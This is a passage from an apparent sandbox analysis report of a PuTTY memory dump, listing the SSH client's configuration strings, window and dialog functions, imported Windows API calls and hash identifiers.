scrollback$Linux$Load$Load, save or delete a stored session$Local$Local echo:$Local line editing:$Local ports accept connections from other hosts$Local username:$Location string$Log file name:$Logical name of remote host$Logical name of remote host (e.g. for SSH key lookup):$Logical name of remote host:$Login details$Low-level TCP connection options$MIT-Magic-Cookie-1$Make default system alert sound$Manually configure host keys for this connection$Manually enabled workarounds$Max data before rekey (0 for no limit)$Max minutes before rekey (0 for no limit)$Minutes between GSS checks (0 for never)$Miscomputes SSH-2 HMAC keys$Miscomputes SSH-2 encryption keys$Misuses the session ID in SSH-2 PK auth$Modify$Mouse paste action:$NetHack$Never$None$None (bell disabled)$Normal$Nothing$Nothing on this panel may be reconfigured in mid-session; it is only here so that sub-panels of it can exist without looking strange.$Old RSA/SHA2 cert algorithm naming$Omit known password fields$Omit session data$Only on clean exit$Only supports pre-RFC4419 SSH-2 DH GEX$Only until session starts$Open$Options controlling %s's window$Options controlling GSSAPI authentication$Options controlling Rlogin connections$Options controlling SSH X11 forwarding$Options controlling SSH authentication$Options controlling SSH connections$Options controlling SSH encryption$Options controlling SSH host keys$Options controlling SSH key exchange$Options controlling SSH port forwarding$Options controlling SUPDUP connections$Options controlling Telnet connections$Options controlling character set translation$Options controlling copy and paste$Options controlling copying from terminal to clipboard$Options controlling key re-exchange$Options controlling local serial lines$Options controlling proxy usage$Options controlling session logging$Options controlling the connection$Options controlling the effects of keys$Options controlling the terminal bell$Options controlling the terminal emulation$Options controlling use of colours$Options specific to SSH packet logging$Other authentication-related options$Other:$Over-use means this many bells...$Parity$Passive$Password$Permit control characters in pasted text$Permitted roles in a shared connection:$Plugin command to run$Plugin to provide authentication responses$Poor man's line drawing (+, - and |)$Port$Port forwarding$Prefer algorithms for which a host key is known$Preference order for GSSAPI libraries:$Print proxy diagnostics in the terminal window$Printable output$Printer to send ANSI printer output to:$Private key file for authentication:$Prompt$Protocol options$Proxy hostname$Proxy type:$PuTTY Private Key Files (*.ppk)$Public-key authentication$Push erased text into scrollback$RFC 1408 (unusual)$RGB value:$Rectangular block$Red$Refuses all SSH-1 password camouflage$Remote$Remote X11 authentication protocol$Remote character set:$Remote command:$Remote ports do the same (SSH-2 only)$Remote terminal settings$Remote-controlled printing$Remove$Replies to requests on closed channels$Requires padding on SSH-2 RSA signatures$Reset scrollback on display activity$Reset scrollback on keypress$Response to remote title query (SECURITY):$Return key sends Telnet New Line instead of ^M$Rows$SCO$SSH packets$SSH packets and raw data$SSH protocol version:$Save$Save the current session settings$Saved Sessions$Seconds between keepalives (0 to turn off)$Seconds of silence required$Select a colour from the list, and then click the Modify button to change its appearance.$Select a colour to adjust:$Select a serial line$Select certificate file$Select library file$Select private key file$Select session log file name$Sending of null packets to keep session active$Separate window and icon titles$Serial line to connect to$Session$Session logging:$Session/Logging$Set$Set the size of the window$Set the style of bell$Set to class$Set various terminal options$Share SSH connections if possible$Sharing an SSH connection between PuTTY tools$Shift overrides application's use of mouse$Shift/Ctrl/Alt with the arrow keys$Source port$Specify the destination you want to connect to$Speed (baud)$Standard$Stop bits$Telnet negotiation mode:$Telnet protocol adjustments$Terminal$Terminal details$Terminal modes$Terminal modes to send:$Terminal scrolling$Terminal speeds$Terminal-type string$Terminal/Bell$Terminal/Features$Terminal/Keyboard$The Backspace key$The Function keys and keypad$The Home and End keys$The bell is re-enabled after a few seconds of silence.$The colour$The font$This:$Treat CJK ambiguous characters as wide$Underline$Upstream (connecting to the real server)$Use Unicode line drawing code points$Use background colour to erase screen$Use system username (%s)$User-supplied GSSAPI library path:$Username$VT100+$VT400$Value$Variable$Vertical line$Visual bell (flash window)$WAITS$Warn before closing window$What to do if the log file already exists:$When username is not specified:$Window$Window title$Window title:$Window/Appearance$Window/Behaviour$Window/Colours$Window/Selection$Window/Selection/Copy$Window/Translation$Workarounds for SSH server bugs$X display location$XDM-Authorization-1$Xterm 216+$Xterm R6$Yes$adjust$aux$b$backends[c->radio.nbuttons]$backends[i]$basics$c->radio.nbuttons == 0$charclass$config-address-family$config-ansicolour$config-answerback$config-appcursor$config-appkeypad$config-autowrap$config-backspace$config-bellovl$config-bellstyle$config-blink$config-boldcolour$config-charclasses$config-charset$config-cjk-ambig-wide$config-closeonexit$config-colourcfg$config-command$config-crlf$config-cursor$config-decom$config-environ$config-erase$config-erasetoscrollback$config-features-altscreen$config-features-application$config-features-bidi$config-features-charset$config-features-clearscroll$config-features-dbackspace$config-features-mouse$config-features-qtitle$config-features-resize$config-features-retitle$config-features-shaping$config-font$config-funkeys$config-homeend$config-hostname$config-keepalive$config-lfcr$config-linedraw$config-linedrawpaste$config-localecho$config-localedit$config-logfileexists$config-logfilename$config-logflush$config-logging$config-logheader$config-loghost$config-logssh$config-mouseptr$config-mouseshift$config-nodelay$config-oldenviron$config-paste-ctrl-char$config-printing$config-proxy$config-proxy-auth$config-proxy-command$config-proxy-dns$config-proxy-exclude$config-proxy-logging$config-proxy-type$config-ptelnet$config-rectselect$config-rlogin-localuser$config-saving$config-scrollback$config-selection-autocopy$config-selection-clipactions$config-serial-databits$config-serial-flow$config-serial-line$config-serial-parity$config-serial-speed$config-serial-stopbits$config-sharrow$config-ssh-agentfwd$config-ssh-auth-gssapi$config-ssh-auth-gssapi-delegation$config-ssh-auth-gssapi-libraries$config-ssh-authplugin$config-ssh-banner$config-ssh-bug-chanreq$config-ssh-bug-derivekey2$config-ssh-bug-dropstart$config-ssh-bug-filter-kexinit$config-ssh-bug-hmac2$config-ssh-bug-ignore1$config-ssh-bug-ignore2$config-ssh-bug-maxpkt2$config-ssh-bug-oldgex2$config-ssh-bug-pksessid2$config-ssh-bug-plainpw1$config-ssh-bug-rekey$config-ssh-bug-rsa-sha2-cert-userauth$config-ssh-bug-rsa1$config-ssh-bug-sig$config-ssh-bug-winadj$config-ssh-cert$config-ssh-changeuser$config-ssh-comp$config-ssh-encryption$config-ssh-hostkey-order$config-ssh-kex-cert$config-ssh-kex-manual-hostkeys$config-ssh-kex-order$config-ssh-kex-rekey$config-ssh-ki$config-ssh-noauth$config-ssh-noshell$config-ssh-notrivialauth$config-ssh-portfwd$config-ssh-portfwd-address-family$config-ssh-portfwd-localhost$config-ssh-prefer-known-hostkeys$config-ssh-privkey$config-ssh-prot$config-ssh-pty$config-ssh-sharing$config-ssh-tis$config-ssh-tryagent$config-ssh-x11$config-ssh-x11auth$config-tcp-keepalives$config-telnetkey$config-telnetnl$config-termspeed$config-termtype$config-title$config-truecolour$config-ttymodes$config-username$config-username-from-env$config-utf8linedraw$config-warnonclose$config-winborder$config-winsize$config-xtermcolour$data$disclaimer$f$general$hostport$identity$ipversion$ldisc$main$manual$mappings$n_ui_backends > 0 && n_ui_backends < PROTOCOL_LIMIT$otheropts$overload$plugin$protocol$publickey$r$repeat$rxvt$s$savedsessions$sercfg$serline$sshtty$supdup-ascii$supdup-location$supdup-more$supdup-scroll$tcp$term$trans$tweaks$xterm-style bitmap${Ctrl,Shift} + Ins:
API String ID: 2645101109-754834895
Opcode ID: 7d3f9ddb586df674f39f5c5db71c8caec48e86601bfd0c2f072999babbcf95e4
Instruction ID: 030769ad11cc9de58d6f547cf191ece04dca4c300d8ed834c9e862399f411b36
Opcode Fuzzy Hash: 7d3f9ddb586df674f39f5c5db71c8caec48e86601bfd0c2f072999babbcf95e4
Instruction Fuzzy Hash: 99939432A28B42A5EB10DB21F8412BB7B95FB44784F700135EA8D8779ADF3CD905E758

Function 00007FF67860AEF4 Relevance: 107.6, Strings: 85, Instructions: 1304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

BugMaxPkt2, xrefs: 00007FF67860BCA8
StampUtmp, xrefs: 00007FF67860BE2D, 00007FF67860BE44
BugIgnore1, xrefs: 00007FF67860BA8C
BugFilterKexinit, xrefs: 00007FF67860BDE9
Colour%d, xrefs: 00007FF67860B200
LoginShell, xrefs: 00007FF67860BE68, 00007FF67860BE7F
Printer, xrefs: 00007FF67860B6A8, 00007FF67860B6BF
TermWidth, xrefs: 00007FF67860AF58
BugRSA1, xrefs: 00007FF67860BAFB
BugOldGex2, xrefs: 00007FF67860BCDD
ScrollOnKey, xrefs: 00007FF67860B7AB, 00007FF67860B7C2
SSHManualHostKeys, xrefs: 00007FF67860C251
SerialSpeed, xrefs: 00007FF67860C057
WideBoldFont, xrefs: 00007FF67860BF95, 00007FF67860BFAC
SUPDUPLocation, xrefs: 00007FF67860C269, 00007FF67860C280
CtrlShiftIns, xrefs: 00007FF67860B5A3
X11Display, xrefs: 00007FF67860B93C, 00007FF67860B953
EraseToScrollback, xrefs: 00007FF67860B821, 00007FF67860B838
SerialStopHalfbits, xrefs: 00007FF67860C0BB
FontQuality, xrefs: 00007FF67860AFFA
PortForwardings, xrefs: 00007FF67860BA74
CJKAmbigWide, xrefs: 00007FF67860B632, 00007FF67860B649
BugRSAPad2, xrefs: 00007FF67860BC09
SerialLine, xrefs: 00007FF67860C005, 00007FF67860C01C
LineCodePage, xrefs: 00007FF67860B5E0, 00007FF67860B5F7
X11AuthType, xrefs: 00007FF67860B98E
ScrollBar, xrefs: 00007FF67860B735, 00007FF67860B74C
ScrollOnDisp, xrefs: 00007FF67860B7E6, 00007FF67860B7FD
WindowClass, xrefs: 00007FF67860C14E, 00007FF67860C165
PasteRTF, xrefs: 00007FF67860B33B, 00007FF67860B352
BugDeriveKey2, xrefs: 00007FF67860BBD4
ShadowBold, xrefs: 00007FF67860BEDE, 00007FF67860BEF5
RemotePortAcceptAll, xrefs: 00007FF67860BA39, 00007FF67860BA50
The Internet, xrefs: 00007FF67860C294
MouseAutocopy, xrefs: 00007FF67860B530, 00007FF67860B547
BugChanReq, xrefs: 00007FF67860BD47
RectSelect, xrefs: 00007FF67860B3A5, 00007FF67860B3BC
SerialDataBits, xrefs: 00007FF67860C089
ConnectionSharing, xrefs: 00007FF67860C1A0, 00007FF67860C1B7
X11AuthFile, xrefs: 00007FF67860B9C0, 00007FF67860B9D7
BugHMAC2, xrefs: 00007FF67860BB65
RawCNP, xrefs: 00007FF67860B2C0, 00007FF67860B2DC
ConnectionSharingUpstream, xrefs: 00007FF67860C1DB, 00007FF67860C1F2
LockSize, xrefs: 00007FF67860B85C
BugRSASHA2CertUserauth, xrefs: 00007FF67860BD7C
TermHeight, xrefs: 00007FF67860AF8A
BugPKSessID2, xrefs: 00007FF67860BC3E
SUPDUPScrolling, xrefs: 00007FF67860C325, 00007FF67860C33C
BlinkText, xrefs: 00007FF67860B8C6, 00007FF67860B8DD
BugWinadj, xrefs: 00007FF67860BD12
ConnectionSharingDownstream, xrefs: 00007FF67860C216, 00007FF67860C22D
BugRekey2, xrefs: 00007FF67860BC73
UseSystemColours, xrefs: 00007FF67860B05B, 00007FF67860B072
WideFont, xrefs: 00007FF67860BF57, 00007FF67860BF6E
ScrollBarFullScreen, xrefs: 00007FF67860B770, 00007FF67860B787
CtrlShiftCV, xrefs: 00007FF67860B5CB
MouseIsXterm, xrefs: 00007FF67860B376
CapsLockCyr, xrefs: 00007FF67860B6FA, 00007FF67860B711
TrueColour, xrefs: 00007FF67860B147, 00007FF67860B15E
BoldAsColour, xrefs: 00007FF67860B182
MousePaste, xrefs: 00007FF67860B57B
ScrollbarOnLeft, xrefs: 00007FF67860BEA3, 00007FF67860BEBA
FontVTMode, xrefs: 00007FF67860B029
UTF8Override, xrefs: 00007FF67860B66D, 00007FF67860B684
TryPalette, xrefs: 00007FF67860B096, 00007FF67860B0AD
X11Forward, xrefs: 00007FF67860B901, 00007FF67860B918
BCE, xrefs: 00007FF67860B88B, 00007FF67860B8A2
Wordness%d, xrefs: 00007FF67860B473
MouseOverride, xrefs: 00007FF67860B41B, 00007FF67860B432
BugPlainPW1, xrefs: 00007FF67860BAC6
SerialParity, xrefs: 00007FF67860C0ED
%d,%d,%d, xrefs: 00007FF67860B25D
SUPDUPMoreProcessing, xrefs: 00007FF67860C2EA, 00007FF67860C301
BuggyMAC, xrefs: 00007FF67860BBA0
SerialFlowControl, xrefs: 00007FF67860C11C
ShadowBoldOffset, xrefs: 00007FF67860BFD3
ANSIColour, xrefs: 00007FF67860B0D1, 00007FF67860B0E8
BugIgnore2, xrefs: 00007FF67860BB30
SUPDUPCharset, xrefs: 00007FF67860C2BB
LocalPortAcceptAll, xrefs: 00007FF67860B9FE, 00007FF67860BA15
BugDropStart, xrefs: 00007FF67860BDB1
Xterm256Colour, xrefs: 00007FF67860B10C, 00007FF67860B123
WinTitle, xrefs: 00007FF67860AF06, 00007FF67860AF1D
UTF8linedraw, xrefs: 00007FF67860B300, 00007FF67860B317
PasteControls, xrefs: 00007FF67860B3E0, 00007FF67860B3F7

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: %d,%d,%d$ANSIColour$BCE$BlinkText$BoldAsColour$BugChanReq$BugDeriveKey2$BugDropStart$BugFilterKexinit$BugHMAC2$BugIgnore1$BugIgnore2$BugMaxPkt2$BugOldGex2$BugPKSessID2$BugPlainPW1$BugRSA1$BugRSAPad2$BugRSASHA2CertUserauth$BugRekey2$BugWinadj$BuggyMAC$CJKAmbigWide$CapsLockCyr$Colour%d$ConnectionSharing$ConnectionSharingDownstream$ConnectionSharingUpstream$CtrlShiftCV$CtrlShiftIns$EraseToScrollback$FontQuality$FontVTMode$LineCodePage$LocalPortAcceptAll$LockSize$LoginShell$MouseAutocopy$MouseIsXterm$MouseOverride$MousePaste$PasteControls$PasteRTF$PortForwardings$Printer$RawCNP$RectSelect$RemotePortAcceptAll$SSHManualHostKeys$SUPDUPCharset$SUPDUPLocation$SUPDUPMoreProcessing$SUPDUPScrolling$ScrollBar$ScrollBarFullScreen$ScrollOnDisp$ScrollOnKey$ScrollbarOnLeft$SerialDataBits$SerialFlowControl$SerialLine$SerialParity$SerialSpeed$SerialStopHalfbits$ShadowBold$ShadowBoldOffset$StampUtmp$TermHeight$TermWidth$The Internet$TrueColour$TryPalette$UTF8Override$UTF8linedraw$UseSystemColours$WideBoldFont$WideFont$WinTitle$WindowClass$Wordness%d$X11AuthFile$X11AuthType$X11Display$X11Forward$Xterm256Colour
API String ID: 0-1829101210
Opcode ID: 22f5ba9b024153285404823b1049d72f0d81ff970af42732919e8d31ed2423a0
Instruction ID: 5deb95293963c097d475e33a6df80c95eadcf24cba776c1187207a087bd685f6
Opcode Fuzzy Hash: 22f5ba9b024153285404823b1049d72f0d81ff970af42732919e8d31ed2423a0
Instruction Fuzzy Hash: 34B23952F3851661FA14A7329A61ABB1A465F81BD0F709031DC0D8BB97EE2DED02B35C

Function 00007FF6785D53E3 Relevance: 100.4, APIs: 38, Strings: 19, Instructions: 618
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetMonitorInfoA.USER32 ref: 00007FF6785D54C5
GetDesktopWindow.USER32 ref: 00007FF6785D54DA
GetClientRect.USER32 ref: 00007FF6785D54E8
CreateWindowExW.USER32 ref: 00007FF6785D5627
GetLastError.KERNEL32 ref: 00007FF6785D5639
MonitorFromWindow.USER32 ref: 00007FF6785D5685
GetDC.USER32 ref: 00007FF6785D56D7
GetDeviceCaps.GDI32 ref: 00007FF6785D56EF
GetDeviceCaps.GDI32 ref: 00007FF6785D56FF
ReleaseDC.USER32 ref: 00007FF6785D5711
GetWindowRect.USER32 ref: 00007FF6785D58AB
GetClientRect.USER32 ref: 00007FF6785D58C0
SetWindowPos.USER32 ref: 00007FF6785D5967
CreateBitmap.GDI32 ref: 00007FF6785D59CA
CreateCaret.USER32 ref: 00007FF6785D59FB
SetScrollInfo.USER32 ref: 00007FF6785D5A5E
GetDoubleClickTime.USER32 ref: 00007FF6785D5A78
GetSystemMenu.USER32 ref: 00007FF6785D5A8D
CreatePopupMenu.USER32 ref: 00007FF6785D5A9A
AppendMenuA.USER32 ref: 00007FF6785D5AC0
AppendMenuA.USER32 ref: 00007FF6785D5AD8
CreateMenu.USER32 ref: 00007FF6785D5ADA
DeleteMenu.USER32 ref: 00007FF6785D5B0F
AppendMenuA.USER32 ref: 00007FF6785D5B47
AppendMenuA.USER32 ref: 00007FF6785D5B8A

Strings

&Full Screen, xrefs: 00007FF6785D5BA3
&Duplicate Session, xrefs: 00007FF6785D5C5C
Ne&w Session..., xrefs: 00007FF6785D5C48
Running with restricted process ACL, xrefs: 00007FF6785D5D59
&Paste, xrefs: 00007FF6785D5AC9
&Help, xrefs: 00007FF6785D5D34
Sa&ved Sessions, xrefs: 00007FF6785D5C74
Chan&ge Settings..., xrefs: 00007FF6785D5C88
C&opy All to Clipboard, xrefs: 00007FF6785D5CAC
&Copy, xrefs: 00007FF6785D5AA7
term->mouse_select_clipboards[0] == CLIP_LOCAL, xrefs: 00007FF6785D57B9
&About %s, xrefs: 00007FF6785D5BAA
Rese&t Terminal, xrefs: 00007FF6785D5B9C
&Event Log, xrefs: 00007FF6785D5C24
(No sessions), xrefs: 00007FF6785D5B78
(, xrefs: 00007FF6785D54AF
C&lear Scrollback, xrefs: 00007FF6785D5B95
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c, xrefs: 00007FF6785D57C0
Unable to create terminal window: %s, xrefs: 00007FF6785D5646

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Menu$CreateWindow$Append$Rect$CapsClientDeviceInfoMonitor$BitmapCaretClickDeleteDesktopDoubleErrorFromLastPopupReleaseScrollSystemTime
String ID: &About %s$&Copy$&Duplicate Session$&Event Log$&Full Screen$&Help$&Paste$($(No sessions)$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c$C&lear Scrollback$C&opy All to Clipboard$Chan&ge Settings...$Ne&w Session...$Rese&t Terminal$Running with restricted process ACL$Sa&ved Sessions$Unable to create terminal window: %s$term->mouse_select_clipboards[0] == CLIP_LOCAL
API String ID: 1687698585-3101482697
Opcode ID: 48aaeea15ef7db0832bf7a1c76454805f5af20c663b68f04bbe3b26f6b097f6f
Instruction ID: cb9e85f94155d396f6ac129f6e66960ad6ee2337a6b8a3fa5d6fcb68043f5c7d
Opcode Fuzzy Hash: 48aaeea15ef7db0832bf7a1c76454805f5af20c663b68f04bbe3b26f6b097f6f
Instruction Fuzzy Hash: 6E528E32A2865296F750DB35E8547BB2B91BF94B90F344035C94EC3BA5DE3CED05AB08

Function 00007FF6785F2C60 Relevance: 60.0, APIs: 26, Strings: 8, Instructions: 508
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32 ref: 00007FF6785F2D78
SendMessageA.USER32 ref: 00007FF6785F2D96
MapDialogRect.USER32 ref: 00007FF6785F2DC5
CreateWindowExA.USER32 ref: 00007FF6785F2E31
SendMessageA.USER32 ref: 00007FF6785F2E48
SendMessageA.USER32 ref: 00007FF6785F2E5C
MapDialogRect.USER32 ref: 00007FF6785F2E74
CreateWindowExA.USER32 ref: 00007FF6785F2EE3
SendMessageA.USER32 ref: 00007FF6785F2EFA
SendMessageA.USER32 ref: 00007FF6785F2F0E
SendMessageA.USER32 ref: 00007FF6785F30A1
SendMessageA.USER32 ref: 00007FF6785F30D0
SendMessageA.USER32 ref: 00007FF6785F312B
SendMessageA.USER32 ref: 00007FF6785F313E
SendMessageA.USER32 ref: 00007FF6785F3181
GetDlgItem.USER32 ref: 00007FF6785F3220
DestroyWindow.USER32 ref: 00007FF6785F322A
KillTimer.USER32 ref: 00007FF6785F3252
MessageBoxA.USER32 ref: 00007FF6785F3282
SendMessageA.USER32 ref: 00007FF6785F32DD
SetTimer.USER32 ref: 00007FF6785F33ED
ShowWindow.USER32 ref: 00007FF6785F3441

Part of subcall function 00007FF6785F4A30: SetWindowTextA.USER32(?,?,?,00007FF6785F2CC6), ref: 00007FF6785F4A48
Part of subcall function 00007FF6785F4A30: GetWindowLongPtrA.USER32 ref: 00007FF6785F4A5F

Part of subcall function 00007FF6785F5130: SendMessageA.USER32 ref: 00007FF6785F516E
Part of subcall function 00007FF6785F5130: GetClientRect.USER32 ref: 00007FF6785F5184
Part of subcall function 00007FF6785F5130: MapDialogRect.USER32 ref: 00007FF6785F519E

SendMessageA.USER32 ref: 00007FF6785F3533
InvalidateRect.USER32 ref: 00007FF6785F3544
SetFocus.USER32 ref: 00007FF6785F354D

Strings

@, xrefs: 00007FF6785F3158
Demo screenshot failure, xrefs: 00007FF6785F326F
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/dialog.c, xrefs: 00007FF6785F2FFC, 00007FF6785F331F
SysTreeView32, xrefs: 00007FF6785F2ECA
j == ctrl_path_elements(s->pathname) - 1, xrefs: 00007FF6785F2FF5
Cate&gory:, xrefs: 00007FF6785F2E22
STATIC, xrefs: 00007FF6785F2E1B
firstpath, xrefs: 00007FF6785F3318

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Message$Send$Window$Rect$Dialog$CreateTimer$ClientDestroyFocusIconInvalidateItemKillLoadLongShowText
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/dialog.c$@$Cate&gory:$Demo screenshot failure$STATIC$SysTreeView32$firstpath$j == ctrl_path_elements(s->pathname) - 1
API String ID: 443372750-407257924
Opcode ID: 1e88966224fd870200e04f82941f27a47510af761bce352db075fa57f9858920
Instruction ID: d3ea656f0381c48e5bc493b986e6cffa1af338143739cb9011ea18195ea31744
Opcode Fuzzy Hash: 1e88966224fd870200e04f82941f27a47510af761bce352db075fa57f9858920
Instruction Fuzzy Hash: BE32D333A2868281FB60DB36E4147AA7B90FB94B84F644135DE4D87B98DF3CD945DB08

Function 00007FF6785D51DF Relevance: 47.4, APIs: 12, Strings: 15, Instructions: 102
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClipboardFormatA.USER32 ref: 00007FF6785D51F0

Part of subcall function 00007FF6786162C0: LoadLibraryA.KERNELBASE ref: 00007FF6786162E9

GetProcAddress.KERNEL32 ref: 00007FF6785D5244
GetProcAddress.KERNEL32 ref: 00007FF6785D5257
GetProcAddress.KERNEL32 ref: 00007FF6785D527E
GetProcAddress.KERNEL32 ref: 00007FF6785D52A5
GetProcAddress.KERNEL32 ref: 00007FF6785D52B8
GetProcAddress.KERNEL32 ref: 00007FF6785D52CB
GetProcAddress.KERNEL32 ref: 00007FF6785D52FD
GetProcAddress.KERNEL32 ref: 00007FF6785D5324
GetProcAddress.KERNEL32 ref: 00007FF6785D5337
CoInitialize.OLE32 ref: 00007FF6785D535D
MessageBoxA.USER32 ref: 00007FF6785D5390

Strings

GetDpiForMonitor, xrefs: 00007FF6785D52F3
MonitorFromPoint, xrefs: 00007FF6785D52AE
winmm.dll, xrefs: 00007FF6785D5210
MonitorFromWindow, xrefs: 00007FF6785D52C1
Failed to initialize COM subsystem, xrefs: 00007FF6785D537E
FlashWindowEx, xrefs: 00007FF6785D5233
PlaySoundA, xrefs: 00007FF6785D5274
GetMonitorInfoA, xrefs: 00007FF6785D5294
shcore.dll, xrefs: 00007FF6785D521F
%s Fatal Error, xrefs: 00007FF6785D536F
ToUnicodeEx, xrefs: 00007FF6785D524D
GetSystemMetricsForDpi, xrefs: 00007FF6785D5313
AdjustWindowRectExForDpi, xrefs: 00007FF6785D532D
user32.dll, xrefs: 00007FF6785D5201
MSWHEEL_ROLLMSG, xrefs: 00007FF6785D51EA

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressProc$ClipboardFormatInitializeLibraryLoadMessageRegister
String ID: %s Fatal Error$AdjustWindowRectExForDpi$Failed to initialize COM subsystem$FlashWindowEx$GetDpiForMonitor$GetMonitorInfoA$GetSystemMetricsForDpi$MSWHEEL_ROLLMSG$MonitorFromPoint$MonitorFromWindow$PlaySoundA$ToUnicodeEx$shcore.dll$user32.dll$winmm.dll
API String ID: 4030309821-128400427
Opcode ID: 6ab206a9a58c67f68d16a2be7d32ebdfe3068d0f9bd6b9b9d91e215b1ad1a286
Instruction ID: 050e8afd5ed868bc4b797d6722a7e4ea8346d811e8a97dbd7a11f4e7c7c1705d
Opcode Fuzzy Hash: 6ab206a9a58c67f68d16a2be7d32ebdfe3068d0f9bd6b9b9d91e215b1ad1a286
Instruction Fuzzy Hash: 14419F23E2DB02A0FA42AB35E85517A2B91AF55B80F740132CD0DC6765EF2CED46E75C

Function 00007FF6785F6F7C Relevance: 28.5, APIs: 6, Strings: 10, Instructions: 463COMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32 ref: 00007FF6785F783B

Part of subcall function 00007FF6785F5520: GetDC.USER32 ref: 00007FF6785F5556
Part of subcall function 00007FF6785F5520: SetMapMode.GDI32 ref: 00007FF6785F55A5
Part of subcall function 00007FF6785F5520: MapDialogRect.USER32 ref: 00007FF6785F55CC
Part of subcall function 00007FF6785F5520: SendMessageA.USER32 ref: 00007FF6785F55E8
Part of subcall function 00007FF6785F5520: SelectObject.GDI32 ref: 00007FF6785F55F4
Part of subcall function 00007FF6785F5520: GetTextExtentExPointA.GDI32 ref: 00007FF6785F5639

Strings

EDIT, xrefs: 00007FF6785F7812
ret == c, xrefs: 00007FF6785F8016, 00007FF6785F8045
&, xrefs: 00007FF6785F7028
ncols <= lenof(columns), xrefs: 00007FF6785F697D
thisc, xrefs: 00007FF6785F8137, 00007FF6785F8275
win, xrefs: 00007FF6785F8169, 00007FF6785F82A7
STATIC, xrefs: 00007FF6785F7B5A
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F6952, 00007FF6785F6984, 00007FF6785F801D, 00007FF6785F804C, 00007FF6785F80AF, 00007FF6785F813E, 00007FF6785F8170, 00007FF6785F827C, 00007FF6785F82AE
!dp->shortcuts[s], xrefs: 00007FF6785F80A8
(ctrl->columns.ncols == 1) ^ (ncols == 1), xrefs: 00007FF6785F694B

Memory Dump Source

